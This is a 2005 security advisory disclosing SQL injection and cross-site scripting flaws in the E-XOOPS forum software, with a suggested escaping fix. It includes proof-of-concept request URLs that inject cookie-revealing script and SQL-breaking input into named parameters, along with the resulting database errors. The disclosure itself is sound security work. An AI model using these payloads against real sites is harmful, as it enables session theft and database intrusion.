Dcrab 's Security Advisory
http://icis.digitalparadox.org/~dcrab
http://www.hackerscenter.com/

Severity:  High
Title: Multiple Sql injection, and multiple XSS vulnerabilities in Easy Community Management System Forum (E-XOOPS)
Date: March  28,  2005

Summary:
There are multiple sql injection, xss vulnerabilities in the Easy Community Management System Forum (E-XOOPS)
Vendor: E-Xoops
Vendor website: www.exoops.info

Proof of Concept Exploits:

http://localhost/modules/newbb/viewforum.php?sortname=p.post_time&sortorder=ASC&sortdays=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&forum=25&refresh=Vai
Pops cookie


http://localhost/modules/newbb/index.php?viewcat=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Pops cookie


http://localhost/modules/newbb/index.php?viewcat='SQL_INJECTION
SQL ERROR AND POSSIBLE INJECTION
Error

SELECT f.*, u.uname, u.uid, p.topic_id, p.post_time, p.subject, p.icon FROM e_xoops_bb_forums f LEFT JOIN e_xoops_bb_posts p ON p.post_id = f.forum_last_post_id LEFT JOIN e_xoops_users u ON u.uid = p.uid WHERE f.cat_id = \'SQL_INJECTION ORDER BY f.cat_id, f.forum_name


http://localhost/modules/sections/index.php?op=viewarticle&artid=9%2c+9%2c+9
SQL ERROR AND POSSIBLE INJECTION

Errore Numero: 2 [Attenzione]
Message errore: mysql_fetch_row(): supplied argument is not a valid MySQL result resource
In File: /var/www/*************/09/class/database/mysql.php
On Line: 151

Errore Numero: 2 [Attenzione]
Message errore: mysql_fetch_row(): supplied argument is not a valid MySQL result resource
In File: /var/www/*************/09/class/database/mysql.php
On Line: 151 


Possible fix: The usage of htmlspeacialchars(), mysql_escape_string(), mysql_real_escape_string() and other functions for input validation before passing user input to the mysql database, or before echoing data on the screen, would solve these problems.

Author:
These vulnerabilties have been found and released by Diabolic Crab, Email: dcrab[AT|NOSPAM]hackersenter[DOT|NOSPAM]com, please feel free to contact me regarding these vulnerabilities. You can find me at, http://www.hackerscenter.com or http://icis.digitalparadox.org/~dcrab. Lookout for my soon to come out book on Secure coding with php.